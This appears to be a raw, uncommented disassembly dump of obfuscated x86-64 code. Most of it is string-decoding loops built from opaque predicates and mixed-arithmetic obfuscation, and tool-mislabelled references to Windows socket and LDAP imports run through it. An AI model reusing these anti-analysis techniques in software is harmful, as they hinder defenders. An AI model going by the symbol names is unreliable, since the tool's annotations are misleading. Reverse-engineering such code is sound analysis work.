movabs rcx, 0x83932dda808194
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14007e254
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007ded2
movabs rdx, 0x61a9667cd744f6ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e251
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007df09
movabs rdx, 0x7c2e0f88d4aeedf6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d612
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007df35
movabs rcx, 0x970640ed363e99a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x14007e1d0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007df71
movabs rcx, 0x23f50d1ad0cde0e2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007db16
movabs rdx, 0xb13761a0cf82dc86
mov ecx, Ordinal_46
jmp 0x14007e124
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007dfcf
movabs rcx, 0x2ce1ddfbc9b148e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi + 0xc70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d612
inc rax
cmp r8, rax
jne 0x14007dfff
movabs rdx, 0xba243281c866448c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007e169
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007e030
movabs rdx, 0xef2d8499c33a331c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007e1d0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e062
movabs rcx, 0x7c6fd91fc1ef2ec0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x14007d612
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007e09c
movabs rdx, 0x9b22da5c0a42a64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007d612
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007dac6
movabs rdx, 0x96f4822bbf592608
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
jmp 0x14007e251
movabs rdx, 0xb1792b37bcc31d50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xc70]
sub r11b, al
sub r11b, 0x30
jmp 0x14007e1ca
movabs rdx, 0x3ebb7fbdbb7818f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007e135
movabs rdx, 0xa808c728e95f33b6
mov ecx, 3
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x855caa00bad296c6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x6a
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc70], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xcbfdd443ba2d1498
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x28
add bl, cl
mov byte [rbp + rdi + 0xc70], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d612
movabs rdx, 0x41c996ed4040ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xf81a557abc1d9b22
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xc70], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
movabs rdx, 0x587acc04f1214dde
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x12
jmp 0x14007e251
movabs rdx, 0x3df622f8f3b75696
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1a
add r11b, dl
movabs rcx, 0x6ad800f4bd689f7e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x72
add bl, cl
mov byte [rbp + rdi + 0xc70], bl
inc r9
dec rdi
inc rdi
jmp 0x14007d612
movabs rcx, 0x237179ecf64d5f4e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x22
dec rdi
inc rdi
jmp 0x14007d612
movabs rdx, 0x7baa7c5afa2e6c62
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d612
movabs rcx, 0xd3e37ec8fe0f7976
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
movzx eax, byte [rbp + rdi + 0xc70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d612
movabs rdx, 0xb1baf4ceaa035e1a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007d610
movabs rcx, 0x2478a048ab4e6276
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3a
jmp 0x14007d600
lea rsi, [rbp + 0x14c9588]
jmp 0x14007e37f
lea rsi, [rbp + 0x167135a]
jmp 0x14007e37f
lea rsi, [rbp + 0xc70]
lea rdx, [0x14021aeb0]
lea rcx, [rbp + 0x580]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x130]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006b0b0
mov r14, rax
mov byte [rbp + 0xc98], Ordinal_60
mov byte [rbp + 0xc99], Ordinal_41
mov byte [rbp + 0xc9a], 0x60
mov byte [rbp + 0xc9b], 0x64
mov byte [rbp + 0xc9c], 0x59
mov byte [rbp + 0xc9d], 0x65
mov byte [rbp + 0xc9e], 0x5f
mov byte [rbp + 0xc9f], WSAGetLastError
mov byte [rbp + 0xca0], 0x5d
mov byte [rbp + 0xca1], 0x61
mov byte [rbp + 0xca2], 0x63
mov byte [rbp + 0xca3], 0xfb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xca4], xmm0
mov dword [rbp + 0xcb4], eax
mov word [rbp + 0xcb8], ax
mov byte [rbp + 0xcba], al
movabs r15, 0x87be7245672a4cbe
movabs r12, 0x229f5fb176784b96
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0x956e4299674e7832
cmp rdi, 0x23
jae 0x14007f093
movzx ebx, byte [rbp + rdi + 0xc98]
mov r11, rbx
cmp r8, rdi
ja 0x14007f08a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007e4bd
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x32
jmp 0x14007e4ea
je 0x14007eff7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ef5f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007eefb
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007eecd
nop word [rax + rax]
cmp r9, rdi
ja 0x14007f081
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007e51d
lea rcx, [rdi + r12]
movzx eax, bl
and al, cl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1a
add r10b, cl
jmp 0x14007e55d
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ee7b
inc rax
cmp r8, rax
je 0x14007ee52
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ee2a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007edf7
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007edd0
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007eaa6
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007ea83
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007ea52
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007ea29
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ea15
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007e9f2
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007e9b9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007e570
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x42]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007f059
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007f031
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007e6d3
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007e950
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007e8f0
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007e8a4
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
jb 0x14007e871
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007e570
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14007e838
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x14007e811
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14007e7ea
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14007e7b2
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14007e78f
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14007e767
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x14007e73e
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x14007e712
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14007e6ed
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007e570
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x14007e570
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5e
jmp 0x14007e48e
movabs rdx, 0x14fafd8bb3c25cb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14007ee9a
movabs rcx, 0x57e1900e56dc334
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
inc r9
dec rdi
inc rdi
jmp 0x14007e472
movabs rcx, 0xf6013476171929b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 8
dec rdi
inc rdi
jmp 0x14007e472
movabs rdx, 0xe6844feb48c4903c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007ef1e
movabs rcx, 0xd7076b607a6ff6c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
jmp 0x14007ef47
movabs rdx, 0xc78a86d5ac1b5d44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e472
movabs rdx, 0xb80da24addc6c3c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x14007ef81
movabs rdx, 0xa890bdc00f722a4c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x14007efb3
movabs rdx, 0x9913d935411d90d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xc98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e472
movabs rdx, 0xf25b9dda3d4a111a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
mov byte [rbp + rdi + 0xc98], r10b
inc rdi
jmp 0x14007e472
movabs rcx, 0xe2deb94f6ef5779e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x52
cmp r9, 0x7a
jb 0x14007e894
movabs rdx, 0x15e187a71ada93b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14007ee9d
movabs rdx, 0xd361d4c4a0a0de22
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x5a
jae 0x14007ed82
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14007ec78
movabs rcx, 0x7b009a3b0b8c94dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
jmp 0x14007e8c2
movabs rdx, 0xc3e4f039d24c44a6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 1
je 0x14007edab
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14007ebb5
movabs rdx, 0x58613a8995144946
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007e913
movabs rdx, 0xcfbc3e28c6d1c584
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xc98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e472
movabs rcx, 0xc03f599df87d2c08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x14007efb3
movabs rdx, 0x824bc772bf2ac618
mov ecx, Ordinal_46
jmp 0x14007ef0a
movabs rcx, 0x72cee2e7f0d62c9c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x44
dec rdi
inc rdi
jmp 0x14007e472
movabs rdx, 0x6351fe5d22819320
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007e472
movabs rcx, 0x53d519d2542cf9a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
jmp 0x14007ee9d
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14007eaca
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x32
jmp 0x14007e970
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007eb07
movabs rcx, 0x453ebf62ecf0972c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x34
movzx eax, byte [rbp + rdi + 0xc98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e472
inc rax
cmp r8, rax
jne 0x14007eb37
movabs rdx, 0x643888788999ca24
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007ef81
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007eb68
movabs rdx, 0x8332518e2642fd1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007ef47
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007eb94
movabs rcx, 0x92af3618f4979698
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x28
jmp 0x14007ef1e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e973
movabs rdx, 0xa22c1aa3c2ec3014
mov ecx, Ordinal_60
jmp 0x14007eedc
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007ebe1
movabs rcx, 0x67de1f146368e2c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x14007ee9d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007ec13
movabs rcx, 0x86d7e82a001215ba
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x16
dec rdi
inc rdi
jmp 0x14007e472
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007ec44
movabs rdx, 0xa5d1b13f9cbb48b2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007ef47
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007e913
movabs rdx, 0xd4485ee007b91526
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0xa
add r10b, dl
jmp 0x14007efb3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007ecb5
movabs rcx, 0x8a7d7ec5d9e12e58
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x68
movzx eax, byte [rbp + rdi + 0xc98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e472
inc rax
cmp r8, rax
jne 0x14007ece5
movabs rdx, 0x99fa6350a835c7d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14007efb3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007ed12
movabs rdx, 0xd7edf57be1882dc4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x5c
jmp 0x14007ef1b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007ed49
movabs rdx, 0xe76ada06afdcc740
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x14007e472
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007e8c2
movabs rcx, 0xf6e7be917e3160bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
inc r9
dec rdi
inc rdi
jmp 0x14007e472
movabs rdx, 0x255e6c31e92f2d30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, byte [rbp + rdi + 0xc98]
sub r10b, al
sub r10b, 0x50
jmp 0x14007ef18
movabs rdx, 0x34db50bcb783c6ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14007ef81
movabs rdx, 0x9e868407e91d1776
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x3a
add r10b, dl
jmp 0x14007efb3
movabs rcx, 0x7f8cbaf24c73e47e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x72
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e472
movabs rdx, 0x6092f1dcafcab186
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007ef1e
movabs rcx, 0x51160d51e176180a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x46
dec rdi
inc rdi
jmp 0x14007e472
movabs rdx, 0x321c443c44cce512
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x7e
add r10b, dl
movabs rcx, 0x9d9ff9ec8204e072
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x1e
add cl, bl
mov byte [rbp + rdi + 0xc98], cl
inc r9
dec rdi
inc rdi
jmp 0x14007e472
movabs rdx, 0xf428b2110b7a7f22
mov ecx, 9
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x14007e472
movabs rdx, 0xe4abcd863d25e5a6
mov ecx, Ordinal_60
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rcx, 0xad1cde77505979ee
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r10b
mov byte [rbp + rdi + 0xc98], dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e472
mov rbx, r11
movabs rcx, 0xb6351fe5d2281932
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
movabs rdx, 0xbc99c3021eae136a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc98], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x4458354785d86028
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x18
add bl, cl
mov byte [rbp + rdi + 0xc98], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e472
movabs rdx, 0x973b56d0357ee63a
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xc98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e472
movabs rdx, 0x85f15e0e98f9deb6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007e46e
movabs rdx, 0x76747983caa5453a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007e454
lea rcx, [rbp + 0x16b9c40]
jmp 0x14007f09a
lea rcx, [rbp + 0xd5e8fe]
jmp 0x14007f09a
lea rcx, [rbp + 0xc98]
mov dword [rbp + 0xf10], 0x3f800000
mov dword [rbp + 0xf18], 0x3dcccccd
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf18]
mov r8, r14
mov edx, 8
call fcn.1400375c0
mov byte [rbp + 0xcc0], 0xed
mov byte [rbp + 0xcc1], 0xaa
mov byte [rbp + 0xcc2], Ordinal_217
xorps xmm0, xmm0
movups xmmword [rbp + 0xcc3], xmm0
movups xmmword [rbp + 0xcd3], xmm0
movabs rdi, 0xb0967be6d35b8821
movabs rsi, 0x16f0404d2dd7c1ff
movabs r15, 0xd7a5a46053351edd
movabs r14, 0x67a4f78c876d8445
movabs r12, 0xb859aecbe103468b
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007fea7
movzx r11d, byte [rbp + rbx + 0xcc0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007fe9e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007f19c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0xb
jmp 0x14007f1d0
je 0x14007fe18
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007fde5
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007fd84
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007fd33
nop dword [rax]
cmp r9, rbx
ja 0x14007fe95
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14007f1fa
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x19
jmp 0x14007f230
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007fd12
inc rax
cmp r8, rax
je 0x14007fce8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007fcc0
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007fc8b
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14007f8d9
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007f8b0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007f87e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007f84f
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007f826
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007f7ee
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007f7ba
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007f796
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007f772
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007f73d
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007f240
lea r8, [r9 + 5]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14007fe71
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007fe4c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007f437
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007f41c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007f3fd
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007f6df
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007f679
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007f62a
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007f5fb
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007f240
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007f5c1
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007f598
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007f56f
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007f536
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007f4fa
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007f4d1
